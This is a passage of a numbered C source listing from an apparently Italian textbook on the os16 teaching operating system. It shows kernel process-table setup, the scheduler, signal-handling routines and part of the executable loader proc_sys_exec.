1710054             k_perror ("Kernel panic: cannot mount root file system:");
1710055             k_exit (0);
1710056           }
1710057         //
1710058         // Set up the process table with the kernel.
1710059         //
1710060         proc_table[0].ppid          = 0;
1710061         proc_table[0].pgrp          = 0;
1710062         proc_table[0].uid           = 0;
1710063         proc_table[0].euid          = 0;
1710064         proc_table[0].suid          = 0;
1710065         proc_table[0].device_tty    = DEV_UNDEFINED;
1710066         proc_table[0].sig_status    = 0;
1710067         proc_table[0].sig_ignore    = 0;
1710068         proc_table[0].usage         = 0;
1710069         proc_table[0].status        = PROC_RUNNING;
1710070         proc_table[0].wakeup_events = 0;
1710071         proc_table[0].wakeup_signal = 0;
1710072         proc_table[0].wakeup_timer  = 0;
1710073         proc_table[0].segment_i     = seg_i ();
1710074         proc_table[0].address_i     = seg_i ();
1710075         proc_table[0].address_i    *= 16;
1710076         proc_table[0].size_i        = (size_t) &_etext;
1710077         proc_table[0].segment_d     = seg_d ();
1710078         proc_table[0].address_d     = seg_d ();
1710079         proc_table[0].address_d    *= 16;
1710080         proc_table[0].size_d        = 0;     // Maximum size: 0x10000.
1710081         proc_table[0].sp            = 0;     // To be set at next interrupt.
1710082         proc_table[0].ret           = 0;
1710083         proc_table[0].umask         = 0022;  // Default umask.
1710084         proc_table[0].inode_cwd     = inode; // Root fs inode.
1710085         strncpy (proc_table[0].path_cwd, "/", PATH_MAX);
1710086         strncpy (proc_table[0].name, "os16 kernel", PATH_MAX);
1710087         //
1710088         // Ensure to have a terminated string.
1710089         //
1710090         proc_table[0].name[PATH_MAX-1] = 0;
1710091         //
1710092         // Reset file descriptors.
1710093         //
1710094         for (fdn = 0; fdn < OPEN_MAX; fdn++)
1710095           {
1710096             proc_table[0].fd[fdn].fl_flags = 0;
1710097             proc_table[0].fd[fdn].fd_flags = 0;
1710098             proc_table[0].fd[fdn].file     = NULL;
1710099           }
1710100         //
1710101         // Allocate memory for the code segment.
```

```
1710102     //
1710103     mb_alloc (proc_table[0].address_i, proc_table[0].size_i);
1710104     //
1710105     // Allocate memory for the data segment if different.
1710106     //
1710107     if (seg_d () != seg_i ())
1710108       {
1710109         mb_alloc (proc_table[0].address_d, proc_table[0].size_d);
1710110       }
1710111     //
1710112     // Allocate memory for the BIOS data area (BDA).
1710113     //
1710114     mb_alloc (0x00000L, 0x500);
1710115     //
1710116     // Allocate memory for the extra BIOS at the
1710117     // bottom of the 640 Kibyte.
1710118     //
1710119     start  = int12 ();
1710120     start *= 1024;
1710121     size   = 0xA0000L - start;
1710122     mb_alloc (start, size);
1710123     //
1710124     // Enable and disable hardware interrupts (IRQ).
1710125     //
1710126     irq_on  (0); // timer.
1710127     irq_on  (1); // enable keyboard
1710128     irq_off (2); //
1710129     irq_off (3); //
1710130     irq_off (4); //
1710131     irq_off (5); //
1710132     irq_on  (6); // floppy (must be on to let int 13 work)!
1710133     irq_off (7); //
1710134     //
1710135     // Interrupts activation.
1710136     //
1710137     sti ();
1710138 }
```

105.9.7 kernel/proc/proc_reference.c

Si veda la sezione 104.8.7.

```
1720001 #include <kernel/proc.h>
1720002 //----------------------------------------------------------------------
1720003 proc_t *
1720004 proc_reference (pid_t pid)
1720005 {
1720006     if (pid >= 0 && pid < PROCESS_MAX)
1720007       {
1720008         return (&proc_table[pid]);
1720009       }
```

```
1720010     else
1720011       {
1720012         return (NULL);
1720013       }
1720014 }
```

105.9.8 kernel/proc/proc_sch_signals.c

Si veda la sezione 104.8.8.

```
1730001 #include <kernel/proc.h>
1730002 //----------------------------------------------------------------------
1730003 void
1730004 proc_sch_signals (void)
1730005 {
1730006     pid_t  pid;
1730007     for (pid = 0; pid < PROCESS_MAX; pid++)
1730008       {
1730009         proc_sig_term (pid, SIGHUP);
1730010         proc_sig_term (pid, SIGINT);
1730011         proc_sig_core (pid, SIGQUIT);
1730012         proc_sig_core (pid, SIGILL);
1730013         proc_sig_core (pid, SIGABRT);
1730014         proc_sig_core (pid, SIGFPE);
1730015         proc_sig_term (pid, SIGKILL);
1730016         proc_sig_core (pid, SIGSEGV);
1730017         proc_sig_term (pid, SIGPIPE);
1730018         proc_sig_term (pid, SIGALRM);
1730019         proc_sig_term (pid, SIGTERM);
1730020         proc_sig_term (pid, SIGUSR1);
1730021         proc_sig_term (pid, SIGUSR2);
1730022         proc_sig_chld (pid, SIGCHLD);
1730023         proc_sig_cont (pid, SIGCONT);
1730024         proc_sig_stop (pid, SIGSTOP);
1730025         proc_sig_stop (pid, SIGTSTP);
1730026         proc_sig_stop (pid, SIGTTIN);
1730027         proc_sig_stop (pid, SIGTTOU);
1730028       }
1730029 }
```

105.9.9 kernel/proc/proc_sch_terminals.c

Si veda la sezione 104.8.9.

```
1740001 #include <kernel/proc.h>
1740002 #include <kernel/k_libc.h>
1740003 //----------------------------------------------------------------------
1740004 void
1740005 proc_sch_terminals (void)
```

```
1740006 {
1740007     pid_t  pid;
1740008     int    key;
1740009     tty_t *tty;
1740010     dev_t  device;
1740011     //
1740012     // Try to read a key from console keyboard buffer (only consoles
1740013     // are available).
1740014     //
1740015     key = con_char_ready ();
1740016     if (key == 0)
1740017       {
1740018         //
1740019         // No key is ready on the keyboard buffer: just return.
1740020         //
1740021         return;
1740022       }
1740023     //
1740024     // A key is available. Find the currently active console.
1740025     //
1740026     device = tty_console ((dev_t) 0);
1740027     tty    = tty_reference (device);
1740028     if (tty == NULL)
1740029       {
1740030         k_printf ("kernel alert: console device 0x%04x not found!\n",
1740031                   device);
1740032         //
1740033         // Will send the typed character to the first terminal!
1740034         //
1740035         tty = tty_reference ((dev_t) 0);
1740036       }
1740037     //
1740038     // Defined the active console. Put the character there.
1740039     //
1740040     if (tty->key == 0)
1740041       {
1740042         tty->status = TTY_OK;
1740043       }
1740044     else
1740045       {
1740046         tty->status = TTY_LOST_KEY;
1740047       }
1740048     tty->key = con_char_read ();
1740049     //
1740050     // Verify if it is a control key that must be handled. If so, a
1740051     // signal is sent to all processes with the same control terminal,
1740052     // excluded the kernel (0) and 'init' (1). Such control keys are not
1740053     // passed to the applications.
1740054     //
1740055     // Please note that this a simplified solution, because the signal
1740056     // should reach only the foreground process of the group. For that
1740057     // reason, only che [Ctrl C] is taken into consideration, because
```

```
1740058         // processes can ignore the signal 'SIGINT'.
1740059         //
1740060         if (tty->pgrp != 0)
1740061           {
1740062             //
1740063             // There is a process group for that terminal.
1740064             //
1740065             if      (tty->key == 3)         // [Ctrl C] -> SIGINT
1740066               {
1740067                 for (pid = 2; pid <  PROCESS_MAX; pid++)
1740068                   {
1740069                     if (proc_table[pid].pgrp == tty->pgrp)
1740070                       {
1740071                         k_kill (pid, SIGINT);
1740072                       }
1740073                   }
1740074                 tty->key    = 0;    // Reset key and status.
1740075                 tty->status = TTY_OK;
1740076               }
1740077           }
1740078         //
1740079         // Check for a console switch key combination.
1740080         //
1740081         if      (tty->key == 0x11)          // [Ctrl Q] -> DC1 -> console0.
1740082           {
1740083             tty->key    = 0;                // Reset key and status.
1740084             tty->status = TTY_OK;
1740085             tty_console (DEV_CONSOLE0);     // Switch.
1740086           }
1740087         else if (tty->key == 0x12)          // [Ctrl R] -> DC2 -> console1.
1740088           {
1740089             tty->key    = 0;                // Reset key and status.
1740090             tty->status = TTY_OK;
1740091             tty_console (DEV_CONSOLE1);     // Switch.
1740092           }
1740093         else if (tty->key == 0x13)          // [Ctrl S] -> DC3 -> console2.
1740094           {
1740095             tty->key    = 0;                // Reset key and status.
1740096             tty->status = TTY_OK;
1740097             tty_console (DEV_CONSOLE2);     // Switch.
1740098           }
1740099         else if (tty->key == 0x14)          // [Ctrl T] -> DC4 -> console3.
1740100           {
1740101             tty->key    = 0;                // Reset key and status.
1740102             tty->status = TTY_OK;
1740103             tty_console (DEV_CONSOLE3);     // Switch.
1740104           }
1740105         //
1740106         // A key was pressed: must wake up all processes waiting for reading
1740107         // a terminal: all processes must be reactivated, because a process
1740108         // can read from the device file, and not just from its own
1740109         // terminal.
```

```
1740110      //
1740111      for (pid = 0; pid < PROCESS_MAX; pid++)
1740112        {
1740113          if (    (proc_table[pid].status == PROC_SLEEPING)
1740114              && (proc_table[pid].wakeup_events & WAKEUP_EVENT_TTY))
1740115            {
1740116              //
1740117              // A process waiting for that terminal was found:
1740118              // remove the waiting event and set it ready.
1740119              //
1740120              proc_table[pid].wakeup_events &= ~WAKEUP_EVENT_TTY;
1740121              proc_table[pid].status = PROC_READY;
1740122            }
1740123        }
1740124  }
```

105.9.10 kernel/proc/proc_sch_timers.c

Si veda la sezione 104.8.10.

```
1750001  #include <kernel/proc.h>
1750002  #include <kernel/k_libc.h>
1750003  //----------------------------------------------------------------------
1750004  void
1750005  proc_sch_timers (void)
1750006  {
1750007      static unsigned long int previous_time;
1750008             unsigned long int current_time;
1750009             unsigned int      pid;
1750010      current_time = k_time (NULL);
1750011      if (previous_time != current_time)
1750012        {
1750013          for (pid = 0; pid < PROCESS_MAX; pid++)
1750014            {
1750015              if (    (proc_table[pid].wakeup_events & WAKEUP_EVENT_TIMER)
1750016                  && (proc_table[pid].status == PROC_SLEEPING)
1750017                  && (proc_table[pid].wakeup_timer > 0))
1750018                {
1750019                  proc_table[pid].wakeup_timer--;
1750020                  if (proc_table[pid].wakeup_timer == 0)
1750021                    {
1750022                      proc_table[pid].status = PROC_READY;
1750023                    }
1750024                }
1750025            }
1750026        }
1750027      previous_time = current_time;
1750028  }
```

105.9.11 kernel/proc/proc_scheduler.c

Si veda la sezione 104.8.11.

```
1760001 #include <kernel/proc.h>
1760002 #include <kernel/k_libc.h>
1760003 #include <stdint.h>
1760004 //----------------------------------------------------------------------
1760005 extern uint16_t _ksp;
1760006 //----------------------------------------------------------------------
1760007 void
1760008 proc_scheduler (uint16_t *sp, segment_t *segment_d)
1760009 {
1760010     //
1760011     // The process is identified from the data and stack segment.
1760012     //
1760013     pid_t prev;
1760014     pid_t next;
1760015     //
1760016     static unsigned long int previous_clock;
1760017            unsigned long int current_clock;
1760018     //
1760019     // Check if current data segments are right.
1760020     //
1760021     if (es () != ds () || ss () != ds ())
1760022       {
1760023         k_printf ("\n");
1760024         k_printf ("Kernel panic: ES, DS, SS are different!\n");
1760025         k_exit (0);
1760026       }
1760027     //
1760028     // Search the data segment inside the process table.
1760029     // Must be done here, because the subsequent call to
1760030     // proc_sch_signals() will remove the segment numbers
1760031     // from a zombie process.
1760032     //
1760033     prev = proc_find (*segment_d);
1760034     //
1760035     // Take care of sleeping processes: wake up if sleeping time
1760036     // elapsed.
1760037     //
1760038     proc_sch_timers ();
1760039     //
1760040     // Take care of pending signals.
1760041     //
1760042     proc_sch_signals ();
1760043     //
1760044     // Take care input from terminals.
1760045     //
1760046     proc_sch_terminals ();
1760047     //
1760048     // Update the CPU time usage.
1760049     //
```

```
1760050     current_clock   = k_clock ();
1760051     proc_table[prev].usage += current_clock - previous_clock;
1760052     previous_clock  = current_clock;
1760053     //
1760054     // Scan for a next process.
1760055     //
1760056     for (next = prev+1; next != prev; next++)
1760057       {
1760058         if (next >= PROCESS_MAX)
1760059           {
1760060             next = -1; // At the next loop, 'next' will be zero.
1760061             continue;
1760062           }
1760063         if      (proc_table[next].status == PROC_EMPTY)
1760064           {
1760065             continue;
1760066           }
1760067         else if (proc_table[next].status == PROC_CREATED)
1760068           {
1760069             continue;
1760070           }
1760071         else if (proc_table[next].status == PROC_READY)
1760072           {
1760073             if (proc_table[prev].status == PROC_RUNNING)
1760074               {
1760075                 proc_table[prev].status = PROC_READY;
1760076               }
1760077             proc_table[prev].sp     = *sp;
1760078             proc_table[next].status = PROC_RUNNING;
1760079             proc_table[next].ret    = 0;
1760080             *segment_d      = proc_table[next].segment_d;
1760081             *sp             = proc_table[next].sp;
1760082             break;
1760083           }
1760084         else if (proc_table[next].status == PROC_RUNNING)
1760085           {
1760086             if (proc_table[prev].status == PROC_RUNNING)
1760087               {
1760088                 k_printf ("Kernel alert: process %i ", prev);
1760089                 k_printf ("and %i \"running\"!\r", next);
1760090                 proc_table[prev].status = PROC_READY;
1760091               }
1760092             proc_table[prev].sp     = *sp;
1760093             proc_table[next].status = PROC_RUNNING;
1760094             proc_table[next].ret    = 0;
1760095             *segment_d      = proc_table[next].segment_d;
1760096             *sp             = proc_table[next].sp;
1760097             break;
1760098           }
1760099         else if (proc_table[next].status == PROC_SLEEPING)
1760100           {
1760101             continue;
```

```
1760102             }
1760103           else if (proc_table[next].status == PROC_ZOMBIE)
1760104             {
1760105               continue;
1760106             }
1760107         }
1760108       //
1760109       // Check again if the next process is set to running, otherwise set
1760110       // the kernel to such value!
1760111       //
1760112       next = proc_find (*segment_d);
1760113       if (proc_table[next].status != PROC_RUNNING)
1760114         {
1760115           proc_table[0].status = PROC_RUNNING;
1760116           *segment_d   = proc_table[0].segment_d;
1760117           *sp          = proc_table[0].sp;
1760118         }
1760119       //
1760120       // Save kernel stack pointer.
1760121       //
1760122       _ksp = proc_table[0].sp;
1760123       //
1760124       // At the end, must inform the PIC 1, with message «EOI».
1760125       //
1760126       out_8 (0x20, 0x20);
1760127   }
```

105.9.12 kernel/proc/proc_sig_chld.c

Si veda la sezione 104.8.12.

```
1770001   #include <kernel/proc.h>
1770002   //------------------------------------------------------------------------
1770003   void
1770004   proc_sig_chld (pid_t parent, int sig)
1770005   {
1770006       pid_t child;
1770007       //
1770008       // Please note that 'sig' should be SIGCHLD and nothing else.
1770009       // So, the following test, means to verify if the parent process
1770010       // has received a SIGCHLD already.
1770011       //
1770012       if (proc_sig_status (parent, sig))
1770013         {
1770014           if (    (!proc_sig_ignore (parent, sig))
1770015               && (proc_table[parent].status == PROC_SLEEPING)
1770016               && (proc_table[parent].wakeup_events & WAKEUP_EVENT_SIGNAL)
1770017               && (proc_table[parent].wakeup_signal == sig))
1770018             {
1770019               //
1770020               // The signal is not ignored from the parent process;
```

```
1770021                 // the parent process is sleeping;
1770022                 // the parent process is waiting for a signal;
1770023                 // the parent process is waiting for current signal.
1770024                 // So, just wake it up.
1770025                 //
1770026                 proc_table[parent].status         = PROC_READY;
1770027                 proc_table[parent].wakeup_events ^= WAKEUP_EVENT_SIGNAL;
1770028                 proc_table[parent].wakeup_signal  = 0;
1770029               }
1770030             else
1770031               {
1770032                 //
1770033                 // All other cases, means to remove all dead children.
1770034                 //
1770035                 for (child = 1; child < PROCESS_MAX; child++)
1770036                   {
1770037                     if (   proc_table[child].ppid == parent
1770038                         && proc_table[child].status == PROC_ZOMBIE)
1770039                       {
1770040                         proc_available (child);
1770041                       }
1770042                   }
1770043               }
1770044             proc_sig_off (parent, sig);
1770045           }
1770046 }
```

105.9.13 kernel/proc/proc_sig_cont.c

Si veda la sezione 104.8.13.

```
1780001 #include <kernel/proc.h>
1780002 //----------------------------------------------------------------------
1780003 void
1780004 proc_sig_cont (pid_t pid, int sig)
1780005 {
1780006     //
1780007     // The value for argument 'sig' should be SIGCONT.
1780008     //
1780009     if (proc_sig_status (pid, sig))
1780010       {
1780011         if (proc_sig_ignore (pid, sig))
1780012           {
1780013             proc_sig_off (pid, sig);
1780014           }
1780015         else
1780016           {
1780017             proc_table[pid].status = PROC_READY;
1780018             proc_sig_off (pid, sig);
1780019           }
1780020       }
```

```
1780021 }
```

105.9.14 kernel/proc/proc_sig_core.c

Si veda la sezione 104.8.14.

```
1790001 #include <kernel/proc.h>
1790002 //----------------------------------------------------------------------
1790003 void
1790004 proc_sig_core (pid_t pid, int sig)
1790005 {
1790006     addr_t address_i;
1790007     addr_t address_d;
1790008     size_t size_i;
1790009     size_t size_d;
1790010     //
1790011     if (proc_sig_status (pid, sig))
1790012       {
1790013         if (proc_sig_ignore (pid, sig))
1790014           {
1790015             proc_sig_off (pid, sig);
1790016           }
1790017         else
1790018           {
1790019             //
1790020             // Save process addresses and sizes (might be useful if
1790021             // we want to try to exit the process before core dump.
1790022             //
1790023             address_i   = proc_table[pid].address_i;
1790024             address_d   = proc_table[pid].address_d;
1790025             size_i      = proc_table[pid].size_i;
1790026             size_d      = proc_table[pid].size_d;
1790027             //
1790028             // Core dump: the process who formally writes the file
1790029             // is the terminating one.
1790030             //
1790031             if (address_d == address_i)
1790032               {
1790033                 proc_dump_memory (pid, address_i, size_i, "core");
1790034               }
1790035             else
1790036               {
1790037                 proc_dump_memory (pid, address_i, size_i, "core.i");
1790038                 proc_dump_memory (pid, address_d, size_d, "core.d");
1790039               }
1790040             //
1790041             // The signal, translated to negative, is returned (but
1790042             // the effective value received by the application will
1790043             // be cutted, leaving only the low 8 bit).
1790044             //
1790045             proc_sys_exit (pid, -sig);
```

```
1790046                 }
1790047             }
1790048     }
```

105.9.15 kernel/proc/proc_sig_ignore.c

Si veda la sezione 104.8.15.

```
1800001 #include <kernel/proc.h>
1800002 //----------------------------------------------------------------------
1800003 int
1800004 proc_sig_ignore (pid_t pid, int sig)
1800005 {
1800006     unsigned long int flag = 1L << (sig - 1);
1800007     if (proc_table[pid].sig_ignore & flag)
1800008       {
1800009         return (1);
1800010       }
1800011     else
1800012       {
1800013         return (0);
1800014       }
1800015 }
```

105.9.16 kernel/proc/proc_sig_off.c

Si veda la sezione 104.8.16.

```
1810001 #include <kernel/proc.h>
1810002 //----------------------------------------------------------------------
1810003 void
1810004 proc_sig_off (pid_t pid, int sig)
1810005 {
1810006     unsigned long int flag = 1L << (sig - 1);
1810007     proc_table[pid].sig_status ^= flag;
1810008 }
```

105.9.17 kernel/proc/proc_sig_on.c

Si veda la sezione 104.8.16.

```
1820001 #include <kernel/proc.h>
1820002 //----------------------------------------------------------------------
1820003 void
1820004 proc_sig_on (pid_t pid, int sig)
1820005 {
1820006     unsigned long int flag = 1L << (sig - 1);
1820007     proc_table[pid].sig_status |= flag;
```

```
1820008 }
```

105.9.18 kernel/proc/proc_sig_status.c

Si veda la sezione 104.8.17.

```
1830001 #include <kernel/proc.h>
1830002 //----------------------------------------------------------------------
1830003 int
1830004 proc_sig_status (pid_t pid, int sig)
1830005 {
1830006     unsigned long int flag = 1L << (sig - 1);
1830007     if (proc_table[pid].sig_status & flag)
1830008       {
1830009         return (1);
1830010       }
1830011     else
1830012       {
1830013         return (0);
1830014       }
1830015 }
```

105.9.19 kernel/proc/proc_sig_stop.c

Si veda la sezione 104.8.18.

```
1840001 #include <kernel/proc.h>
1840002 //----------------------------------------------------------------------
1840003 void
1840004 proc_sig_stop (pid_t pid, int sig)
1840005 {
1840006     if (proc_sig_status (pid, sig))
1840007       {
1840008         if (proc_sig_ignore (pid, sig) && !(sig == SIGSTOP))
1840009           {
1840010             proc_sig_off (pid, sig);
1840011           }
1840012         else
1840013           {
1840014             proc_table[pid].status = PROC_SLEEPING;
1840015             proc_table[pid].ret    = -sig;
1840016             proc_sig_off (pid, sig);
1840017           }
1840018       }
1840019 }
```

105.9.20 kernel/proc/proc_sig_term.c

Si veda la sezione 104.8.19.

```
1850001 #include <kernel/proc.h>
1850002 //----------------------------------------------------------------------
1850003 void
1850004 proc_sig_term (pid_t pid, int sig)
1850005 {
1850006     if (proc_sig_status (pid, sig))
1850007       {
1850008         if (proc_sig_ignore (pid, sig) && !(sig == SIGKILL))
1850009           {
1850010             proc_sig_off (pid, sig);
1850011           }
1850012         else
1850013           {
1850014             //
1850015             // The signal, translated to negative, is returned (but
1850016             // the effective value received by the application will
1850017             // be cutted, leaving only the low 8 bit).
1850018             //
1850019             proc_sys_exit (pid, -sig);
1850020           }
1850021       }
1850022 }
```

105.9.21 kernel/proc/proc_sys_exec.c

Si veda la sezione 104.8.20.

```
1860001 #include <kernel/proc.h>
1860002 #include <errno.h>
1860003 #include <fcntl.h>
1860004 //----------------------------------------------------------------------
1860005 int
1860006 proc_sys_exec (uint16_t *sp, segment_t *segment_d, pid_t pid,
1860007                const char *path,
1860008                unsigned int argc, char *arg_data,
1860009                unsigned int envc, char *env_data)
1860010 {
1860011   unsigned int      i;
1860012   unsigned int      j;
1860013   char             *arg;
1860014   char             *env;
1860015   char             *envp[ARG_MAX/16];
1860016   char             *argv[ARG_MAX/16];
1860017   size_t            size;
1860018   size_t            arg_data_size;
1860019   size_t            env_data_size;
1860020   unsigned int      p_off;
```

```
1860021     inode_t           *inode;
1860022     ssize_t            size_read;
1860023     header_t           header;
1860024     unsigned long int  s;         // Help calculating process sizes.
1860025     uint16_t           new_sp;
1860026     uint16_t           envp_address;
1860027     uint16_t           argv_address;
1860028     size_t             process_size_i;
1860029     size_t             process_size_d;
1860030     char               buffer[MEM_BLOCK_SIZE];
1860031     uint16_t           stack_element;
1860032     off_t              inode_start;
1860033     addr_t             memory_start;
1860034     addr_t             previous_address_i;
1860035     segment_t          previous_segment_i;
1860036     size_t             previous_size_i;
1860037     addr_t             previous_address_d;
1860038     segment_t          previous_segment_d;
1860039     size_t             previous_size_d;
1860040     int                status;
1860041     memory_t           allocated_i;
1860042     memory_t           allocated_d;
1860043     pid_t              extra;
1860044     int                proc_count;
1860045     file_t            *file;
1860046     int                fdn;
1860047     dev_t              device;
1860048     int                eof;
1860049     //
1860050     // Check for limits.
1860051     //
1860052     if (argc > (ARG_MAX/16) || envc > (ARG_MAX/16))
1860053       {
1860054         errset (ENOMEM);
1860055         return (-1);
1860056       }
1860057     //
1860058     // Scan arguments to calculate the full size and the relative
1860059     // pointers. The final size is rounded to 2, for the stack.
1860060     //
1860061     arg = arg_data;
1860062     for (i = 0, j = 0; i < argc; i++)
1860063       {
1860064         argv[i] = (char *) j;    // Relative pointer inside
1860065                                  // the `arg_data'.
1860066         size = strlen (arg);
1860067         arg += size + 1;
1860068         j += size + 1;
1860069       }
1860070     arg_data_size = j;
1860071     if (arg_data_size % 2)
1860072       {
```

```
1860073          arg_data_size++;
1860074        }
1860075      //
1860076      // Scan environment variables to calculate the full size and the
1860077      // relative pointers. The final size is rounded to 2, for the stack.
1860078      //
1860079      env = env_data;
1860080      for (i = 0, j = 0; i < envc; i++)
1860081        {
1860082          envp[i] = (char *) j;    // Relative pointer inside
1860083                                   // the 'env_data'.
1860084          size = strlen (env);
1860085          env += size + 1;
1860086          j += size + 1;
1860087        }
1860088      env_data_size = j;
1860089      if (env_data_size % 2)
1860090        {
1860091          env_data_size++;
1860092        }
1860093      //
1860094      // Read the inode related to the executable file name.
1860095      // Function path_inode() includes the inode get procedure.
1860096      //
1860097      inode = path_inode (pid, path);
1860098      if (inode == NULL)
1860099        {
1860100          errset (ENOENT);         // No such file or directory.
1860101          return (-1);
1860102        }
1860103      //
1860104      // Check for permissions.
1860105      //
1860106      status = inode_check (inode, S_IFREG, 5, proc_table[pid].euid);
1860107      if (status != 0)
1860108        {
1860109          //
1860110          // File is not of a valid type or permission are not
1860111          // sufficient: release the executable file inode
1860112          // and return with an error.
1860113          //
1860114          inode_put (inode);
1860115          errset (EACCES);         // Permission denied.
1860116          return (-1);
1860117        }
1860118      //
1860119      // Read the header from the executable file.
1860120      //
1860121      size_read = inode_file_read (inode, (off_t) 0, &header,
1860122                                    (sizeof header), &eof);
1860123      if (size_read != (sizeof header))
1860124        {
```

```
1860125            //
1860126            // The file is shorter than the executable header, so, it isn't
1860127            // an executable: release the file inode and return with an
1860128            // error.
1860129            //
1860130            inode_put (inode);
1860131            errset (ENOEXEC);
1860132            return (-1);
1860133          }
1860134        if (header.magic0 != MAGIC_OS16 || header.magic1 != MAGIC_OS16_APPL)
1860135          {
1860136            //
1860137            // The header does not have the expected magic numbers, so,
1860138            // it isn't a valid executable: release the file inode and
1860139            // return with an error.
1860140            //
1860141            inode_put (inode);
1860142            errset (ENOEXEC);
1860143            return (-1);    // This is not a valid executable!
1860144          }
1860145        //
1860146        // Calculate data size.
1860147        //
1860148        s  = header.ebss;
1860149        if (header.ssize == 0)
1860150          {
1860151            s += 0x10000L;  // Zero means max size.
1860152          }
1860153        else
1860154          {
1860155            s += header.ssize;
1860156          }
1860157        if (s > 0xFFFF)
1860158          {
1860159            process_size_d = 0x0000;  // 0x0000 means the maximum size:
1860160                                      // 0x10000.
1860161            new_sp         = 0x0000;  // 0x0000 is like 0x10000 and the first
1860162                                      // push moves SP to 0xFFFE.
1860163          }
1860164        else
1860165          {
1860166            process_size_d = s;
1860167            new_sp         = process_size_d;
1860168            if (new_sp % 2)
1860169              {
1860170                new_sp--;       // The stack pointer should be even.
1860171              }
1860172          }
1860173        //
1860174        // Calculate code size.
1860175        //
1860176        if (header.segoff == 0)
```

```
1860177       {
1860178         process_size_i = process_size_d;
1860179       }
1860180     else
1860181       {
1860182         process_size_i = header.segoff * 16;
1860183       }
1860184     //
1860185     // Allocate memory: code and data segments.
1860186     //
1860187     status = mb_alloc_size (process_size_i, &allocated_i);
1860188     if (status < 0)
1860189       {
1860190         //
1860191         // The program instructions (code segment) cannot be loaded
1860192         // into memory: release the executable file inode and return
1860193         // with an error.
1860194         //
1860195         inode_put (inode);
1860196         errset (ENOMEM);        // Not enough space.
1860197         return ((pid_t) -1);
1860198       }
1860199     if (header.segoff == 0)
1860200       {
1860201         //
1860202         // Code and data segments are the same: no need
1860203         // to allocate more memory for the data segment.
1860204         //
1860205         allocated_d.address = allocated_i.address;
1860206         allocated_d.segment = allocated_i.segment;
1860207         allocated_d.size    = allocated_i.size;
1860208       }
1860209     else
1860210       {
1860211         //
1860212         // Code and data segments are different: the data
1860213         // segment memory is allocated.
1860214         //
1860215         status = mb_alloc_size (process_size_d, &allocated_d);
1860216         if (status < 0)
1860217           {
1860218             //
1860219             // The separated program data (data segment) cannot be loaded
1860220             // into memory: free the already allocated memory for the
1860221             // program instructions, release the executable file inode
1860222             // and return with an error.
1860223             //
1860224             mb_free (allocated_i.address, allocated_i.size);
1860225             inode_put (inode);
1860226             errset (ENOMEM);        // Not enough space.
1860227             return ((pid_t) -1);
1860228           }
```

```
1860229     }
1860230    //
1860231    // Load executable in memory.
1860232    //
1860233    if (header.segoff == 0)
1860234      {
1860235        //
1860236        // Code and data share the same segment.
1860237        //
1860238        for (eof = 0, memory_start = allocated_i.address,
1860239             inode_start = 0, size_read = 0;
1860240             inode_start < inode->size && !eof;
1860241             inode_start += size_read)
1860242          {
1860243            memory_start += size_read;
1860244            //
1860245            // Read a block of memory.
1860246            //
1860247            size_read = inode_file_read (inode, inode_start,
1860248                                         buffer, MEM_BLOCK_SIZE, &eof);
1860249            if (size_read < 0)
1860250              {
1860251                //
1860252                // Free memory and inode.
1860253                //
1860254                mb_free (allocated_i.address, allocated_i.size);
1860255                inode_put (inode);
1860256                errset (EIO);
1860257                return (-1);
1860258              }
1860259            //
1860260            // Copy inside the right position to be executed.
1860261            //
1860262            dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE, memory_start, buffer,
1860263                    (size_t) size_read, NULL);
1860264          }
1860265      }
1860266    else
1860267      {
1860268        //
1860269        // Code and data with different segments.
1860270        //
1860271        for (eof = 0, memory_start = allocated_i.address,
1860272             inode_start = 0, size_read = 0;
1860273             inode_start < process_size_i && !eof;
1860274             inode_start += size_read)
1860275          {
1860276            memory_start += size_read;
1860277            //
1860278            // Read a block of memory
1860279            //
1860280            size_read = inode_file_read (inode, inode_start,
```

```
1860281                                              buffer, MEM_BLOCK_SIZE, &eof);
1860282            if (size_read < 0)
1860283              {
1860284                //
1860285                // Free memory and inode.
1860286                //
1860287                mb_free (allocated_i.address, allocated_i.size);
1860288                mb_free (allocated_d.address, allocated_d.size);
1860289                inode_put (inode);
1860290                errset (EIO);
1860291                return (-1);
1860292              }
1860293            //
1860294            // Copy inside the right position to be executed.
1860295            //
1860296            dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE, memory_start, buffer,
1860297                    (size_t) size_read, NULL);
1860298          }
1860299        for (eof = 0, memory_start = allocated_d.address,
1860300             inode_start = (header.segoff * 16), size_read = 0;
1860301             inode_start < inode->size && !eof;
1860302             inode_start += size_read)
1860303          {
1860304            memory_start += size_read;
1860305            //
1860306            // Read a block of memory
1860307            //
1860308            size_read = inode_file_read (inode, inode_start,
1860309                                         buffer, MEM_BLOCK_SIZE, &eof);
1860310            if (size_read < 0)
1860311              {
1860312                //
1860313                // Free memory and inode.
1860314                //
1860315                mb_free (allocated_i.address, allocated_i.size);
1860316                mb_free (allocated_d.address, allocated_d.size);
1860317                inode_put (inode);
1860318                errset (EIO);
1860319                return (-1);
1860320              }
1860321            dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE, memory_start, buffer,
1860322                    (size_t) size_read, NULL);
1860323          }
1860324      }
1860325    //
1860326    // The executable file was successfully loaded in memory:
1860327    // release the executable file inode.
1860328    //
1860329    inode_put (inode);
1860330    //
1860331    // Put environment data inside the stack.
1860332    //
```

```
1860333     new_sp -= env_data_size; //------------------------------ environment
1860334     mem_copy (address (seg_d (), (unsigned int) env_data),
1860335               (allocated_d.address + new_sp), env_data_size);
1860336     //
1860337     // Put arguments data inside the stack.
1860338     //
1860339     new_sp -= arg_data_size; //-------------------------------- arguments
1860340     mem_copy (address (seg_d (), (unsigned int) arg_data),
1860341               (allocated_d.address + new_sp), arg_data_size);
1860342     //
1860343     // Put envp[] inside the stack, updating all the pointers.
1860344     //
1860345     new_sp -= 2; //-------------------------------------------------- NULL
1860346     stack_element = NULL;
1860347     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
1860348             (allocated_d.address + new_sp),
1860349             &stack_element, (sizeof stack_element), NULL);
1860350     //
1860351     p_off  = new_sp;            //
1860352     p_off += 2;                 // Calculate memory pointers from
1860353     p_off += arg_data_size;     // original relative pointers,
1860354     for (i = 0; i < envc; i++)  // inside the environment array
1860355       {                         // of pointers.
1860356         envp[i] += p_off;       //
1860357       }                         //
1860358     //
1860359     new_sp -= (envc * (sizeof (char *))); //---------------------- *envp[]
1860360     mem_copy (address (seg_d (), (unsigned int) envp),
1860361               (allocated_d.address + new_sp),
1860362               (envc * (sizeof (char *))));
1860363     //
